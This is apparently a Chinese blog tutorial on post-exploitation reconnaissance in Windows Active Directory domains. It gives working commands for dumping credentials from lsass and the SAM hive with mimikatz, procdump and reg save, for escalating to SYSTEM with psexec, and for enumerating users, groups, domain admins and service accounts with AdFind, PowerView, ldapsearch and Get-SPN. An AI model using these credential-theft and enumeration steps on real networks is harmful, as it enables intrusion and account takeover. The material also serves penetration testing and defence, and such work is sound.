• 域渗透信息收集


    域渗透-信息收集

    本文的ldap部分内容也发布至朋友运维的微信公众号:https://mp.weixin.qq.com/s/t_XidiNJvBIOIkUk_jFjig

    在域中,往往一些目标是我的重点关注对象,比如exchange邮件服务器,比如域控,比如运维管理员的主机,比如堡垒机,我们信息收集主要就是去获取这些关键服务器的信息

    判断主机是否在域内

    使用systeminfo查看

    systeminfo
    

    在域环境下会显示

    通常net view 会出错,可使用其他域查询命令

    net user /domain
    

    抓取hash

    mimikatz使用小技巧

    #一条命令,会在当前目录下生成mimikatz.log
    
    .\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
    

    服务器上抓取

    mimikatz抓hash,一般上传上去或者下载信息下来本地抓,但是上传上去后后续修改票据也可以用到mimikatz,必须要system权限才可以

    mimikatz.exe "privilege::debug"
    
    sekurlsa::logonpasswords
    

    那么我们不是system权限,但是是administrator权限,执行失败

    导出本地抓取-使用procdump

    导出后本地抓取,需要system权限运行powershell或者cmd

    #下载个procdump,https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
    
    #上传procdump.exe
    
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    #拷贝lsass.dmp下来,本地运行
    
    mimikatz.exe "sekurlsa::minidump lsass.dmp"
    
    sekurlsa::logonpasswords
    

    抓取后会在当前目录生成一个lsass.dmp

    之后运行将lsass.dmp复制到本地,即可

    mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
    

    导出抓取-从sam数据库提取

    导出有2种方式

    1.从注册表里面导出hiv

    2.从C:\\System32\Config\sam 中提取

    从注册表中导出
    reg save hklm\sam sam.hiv
    reg save hklm\system system.hiv
    

    sam.hivsystem.hiv 复制到本地运行即可

    mimikatz.ex log "lsadump::sam /sam:sam.hiv /system:system.hiv" exit
    

    跑出来结果如下

    查看历史登录账号

    quser
    

    查看域分组

    net group "Domain Controllers" /domain
    

    查看域主机

    net group "domain controllers" /domain
    

    获取域控ip,记住不需要加后面的$符号

    ping DC01
    

    查看域的密码策略

    net accounts /domain
    

    ldap查询语法

    ldap是在域中独有的协议,能去查询域里面活动目录的基本信息,方便过滤有用的信息

    ldap 是去查活动目录,活动目录是域控上的一个服务,正常情况下域控会开放一个389端口,这个端口就是供域内成员获取活动目录信息的,而活动目录相当于一个数据库,他的结构是树形的,我们可以一级一级的获取信息

    去查活动目录是为了摸清楚整个域内的人员和服务器架构,因为每个人员都会记录描述身份,服务器的提供服务细节等详细信息,比通常的net user /domain之类的查询更加的详细,而我们再查询中关注的点为,用户,主机,域控,组织

    在域控上运行中可使用adsiedit.msc工具,尝试普通的域主机不能打开该服务

    打开后就是如下的页面

    先明确几个概念,因为用户或者主机入域都会带有他自身的信息,比如属于哪个部门,比如姓名是啥,在域内这些信息都是公开的

    在这个ldap查询的活动目录里面每个标志代表信息关系如下,套用安全客https://www.anquanke.com/post/id/195100 的图片

    可以看到整个活动目录是一个树结构,每个节点都有他的信息

    比如bob节点,他的属性有:uid=bob,ou=people,dc=acme,dc=org

    这些属性对于这个节点叫做DN,而他的本身的属性比如uid=bob叫做RDN

    而往往目录下会有3个标识,我们查询也会用到

    • CN:Common Name
    • OU:Organizational Unit
    • DC:Domain Controller

    他具有非常简单的查询语法

    用与号 (&) 表示的 AND 运算符。
    用竖线 (|) 表示的 OR 运算符。
    用感叹号 (!) 表示的 NOT 运算符。
    用名称和值表达式的等号 (=) 表示的相等比较。
    用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。
    

    这里拿adfind举例(后面会详细归纳几个工具),查找primaryGroupID=513 sAMAccountName=Shi.zuan的用户

    ./adfind.exe -f "&(sAMAccountName=Shi.zuan)(&(primaryGroupID=513)(objectcategory=person))"
    

    其实可以从上面看到,每条记录都会有一堆属性,而我们要使用语法去检索出对应人员或主机的信息,因为一口气全跑的话,比较大的域可能有上千条记录

    域内组和OU

    查询域内所有组

    .\AdFind.exe -s subtree -bit -f "(objectclass=group)" -dn
    

    对于分组我们可以大致画一个图

    我们再域内生成的账号,在第一步他会自动默认为全局组账号,之后再由管理员分配到对应的域本地组里面去

    OU

    ou和组是2个东西,组是一堆均有一样权限的账号的集合,OU是逻辑的账号归属划分

    举个例子CN=人事部,OU=上海总部,DC=klion,DC=localOU=法务部,OU=上海总部,DC=klion,DC=local 这个是2个组织部门,他们的OU是不同的

    那么每个部门假设都有一个网络运维人员,比如人事部是刘强,法务部是朱琳,那么这个时候刘强和朱琳在组中又是属于同一组,而OU不是同一个

    域账号信息

    每个域账号都有自己的信息,比如姓名,部门,描述,分组,账号创建时间,设置密码时间,上次登录时间等等,和直接的net user /domain比起来,前者具有更加详细的信息,而后者只是将账号进行一个罗列而已

    在活动目录中,登录账号是UserPrincipalName字段和sAMAccountName字段

    域主机

    域主机其实没有啥特别的信息,主要就是去定位某些电脑是做什么的,域控是哪一个ip这些作用

    但是域主机有个非常有用的地方在于,域主机的objectclass是继承的user这个类,user这个类是域用户的信息,那么域主机继承了user这个类,他就具有user这个类的属性,简而言之就是域主机能登录到域服务器中,他的登录账号为 主机名$

    我们往往会遇到这么一个场景登录了一台属于域环境的主机,但是当前登录的账号里面没有域账号登录记录,并且当前账号仅为本地账号

    上面这个场景中有个账号通用能访问到域里面的资产,即该主机账号

    举个例子,当前主机账号为Ceshi1,为主机账号,无法访问到域

    但这个ceshi1账号是administrator组的账号,可以提升到system,借助psexec提升到system权限,会显示拒绝访问

    失败的原因是cmd不是管理员身份起的,再次使用管理员运行powershell或者cmd,此次的adfind同样不具备域访问凭证

    使用psexec.exe提升至system权限

    再次使用adfind.exe

    ldap参数

    从上面的例子可以看出,我们有3个参数查到这钻石这个用户,分别是sAMAccountName=Shi.zuan,primaryGroupID=513,objectcategory=person

    这里的sAMAccountName和primaryGroupID不难看出就是钻石这个用户的属性值

    而objectcategory这个参数表示该记录是属于哪一个目录的,在活动目录中有着2个比较重要的定位参数,一个叫objectcategory,另一个叫objectClass

    objectClass

    这个参数表示当前信息是属于哪一个类型的并且他的父类是什么,每一个记录都是一个类,有些记录在不同的目录下,但他们的数据结构相同他们也是一个类

    下图这个人事部,这个"文件夹"的属性为top;organizationalUnit , 他这个类叫做organizationalUnit,他的父类叫做top

    在看上海总部这个"文件夹",他的属性同样为top;organizationalUnit

    那么我们再检索organizationalUnit这个类的时候,则会把相同格式属性的类("文件夹")罗列出来

    objectcategory

    这个参数表示当前信息是属于哪一条目录下的,像我们平时用的C:\User\Administrator\xxx 这样的目录,在活动目录中,我们同样有这样的目录,只是结构是OU=人事部,OU=上海总部,DC=klion,DC=local,对应的可视化界面如下,其实类比过来是一样的

    那么使用工具进行查询,这条参数不是上图中上放的目录,是属性中的objectcategory属性信息

    上图他属性众多,为了方便有时候可用只去查他的最近的一个属性,而这个属性其实和objectclass差不多,有些可能有细微的区别

    比如上图查询的"文件夹"的记录,他最后一位的dn是CN=Organizational-Unit,他的标识属性为:organizationalUnit

    工具使用

    ldap查询场景分为3种,域外linux发起查询域外windows发起查询域内windows发起查询,因为域这个系统99%都是windows主机,那么在域内一般都是windows的系统

    域外发起的比较鸡肋,你必须要知道一个域用户的账号密码才可以,在特定的条件下才能发挥作用。

    域外linux

    需要用到ldapsearch工具,在利用前需要知道dc的ip,以及一个域成员用户的账号密码

    #下载
    apt-get install ldap-utils
    
    #利用方式
    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))"
    
    

    上面的参数, -H ldap://域控ip:389 , 已获取的其中一个域成员信息账号密码 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123!

    域外windows

    https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

    下载使用该工具

    #先引入
    Import-Module PowerView.ps1
    
    #先载入用户名和密码
    $uname="testa"                                                      
    $pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)    
    
    #查询域用户
    Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
    
    #查询域主机
    Get-NetComputer -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
    
    #查询域组
    Get-Netgroup -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
    
    域内信息收集

    因为已经在域内了,信息收集非常方便

    powerview.ps1

    https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

    域外使用powerview,同样域内信息收集也可以使用powerview.ps1,并且因为已经在域内了,不再需要去输入账号密码

    #先引入
    Import-Module PowerView.ps1
    
    #使用只查询域用户姓名信息
    Get-NetUser | fl name
    

    因为这里已经在域内,不带-Domain, -DomainController等参数也能查询是因为,他默认查询当前账号所在的域的信息

    如果想要全面的信息,直接使用

    Get-NetUser > log.txt
    

    其他利用

    #查询主机
    Get-Netcomputer
    
    #查询组
    Get-Netgroup
    

    这里注意下查询组的结果并不和net group /domain的结果完全一直,需要区分个概念,活动目录记录的是每台计算机或者用户的信息,他是可以编辑的相当于一个人员名册,而net group /domain是账号的权限划分

    net group /domain 的结果

    ADexplorer

    ADexplorer为windows下查看ldap活动目录的一个常用的图形化工具

    下载方式

    wget http://live.sysinternals.com/ADExplorer.exe
    

    打开后为如图所示界面,当你与域控建立有效通讯时,直接点击ok即可用当前账号登录成功

    点击放大镜使用搜索语法

    Adfind

    adfind是windows域环境下的一个非常常用的命令工具

    他的运行参数格式如下

    AdFind.exe -b [域信息] -f [过滤条件] [返回属性]
    
    #域信息一般是 DC=xxx,DC=local 这样的形式,如果账号已经在域内可以不填,如果有多个域可以访问,则需要填写
    
    #过滤条件 一般为ldap的查询语法,使用""进行包裹
    
    #返回属性为我们希望展示的数据,如果不填则一并返回
    

    这里如果要使用xxx:AND:=111 这样的形式查询对应位数的信息时,一定要加上-bit参数,如果不加-bit则不会出数据

    AdFind.exe -f "(grouptype:AND:=2)" -bit
    

    比如去查询该域下面,人员信息的邮箱信息情况

    我们也可以通过-c返回总共有多少条记录

    AdFind.exe -f "(objectcategory=person)" -c
    

    查询域内所有通用组

    通用组即在访问林中所有的资产,如果查询该域内的通用组,即查到的组即也可以请求其他域中的资产

    .\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=8))" -dn
    

    查询域内所有全局组

    全局组作用是他是一某一个域内创建的组,可以理解为刚新创一个域账号时他是属于全局组的,在域内可以登录域内主机,而它又被其他域进行了受信,即他即能访问本域的资产,又可以访问授信域的资产

    .\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=2))" -dn
    

    查询域内所有域本地组

    域本地组即在域内可以活动的组信息

    .\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=4))" -dn 
    

    AdFind我们可以去查各种属性,当然也可用它去查路径就比如这里的图片上方的 Path这个路径

    .\AdFind.exe -b OU=人事部,OU=上海总部,DC=klion,DC=local
    

    使用-tdc转换时间为可读时间

    .\AdFind.exe -bit -f "&(objectclass=person)(sAMAccountName=Oadmin)" -tdc
    

    没转换前是这样的时间戳

    转换后

    Get-SPN

    https://github.com/nullbind/Powershellery/edit/master/Stable-ish/Get-SPN/Get-SPN.psm1

    SPN 这个参数全称为ServicePrincipleName, 这个参数会记录即登录账号名称,但是往往在域中为了方便管理,通常会去把一些特定账号比如oa,mysql等等以服务的名字取命令登录账号。

    get-spn能够快速找到域管用户登陆服务器记录和快速定位一些特殊服务器

    #加载模块
    Import-Module ./Get-SPN.psm1
    
    #使用查找域管组登录过的服务
    Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize
    
    #查找系统中一些特殊服务,以mssql为例
    Get-SPN  -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize
    

    参考文章

    https://wooyun.js.org/drops/使用LDAP查询快速提升域权限.html

    https://wooyun.js.org/drops/从活动目录获取域管理员权限的各种姿势.html

    https://3gstudent.github.io/渗透基础-活动目录信息的获取

    https://www.anquanke.com/post/id/195100

    https://www.anquanke.com/post/id/195737

    https://www.anquanke.com/post/id/196510

    https://www.anquanke.com/post/id/197113

    https://www.anquanke.com/post/id/197329

  • 相关阅读:
    详解jQuery的$符号和init函数
    myeclipse 快捷键,从步骤开始的大括号定位到匹配方法结束的大括号
    为Jquery类和Jquery对象扩展方法
    JQuery 对象和事件
    jquery,禁止冒泡和默认行为
    什么是项目发布
    IP转换成域名
    nslookup域名查询命令查询ip
    Java中的逆变与协变
    iOS 图片背景模糊效果
  • 原文地址:https://www.cnblogs.com/sijidou/p/15954681.html
Copyright © 2020-2023  润新知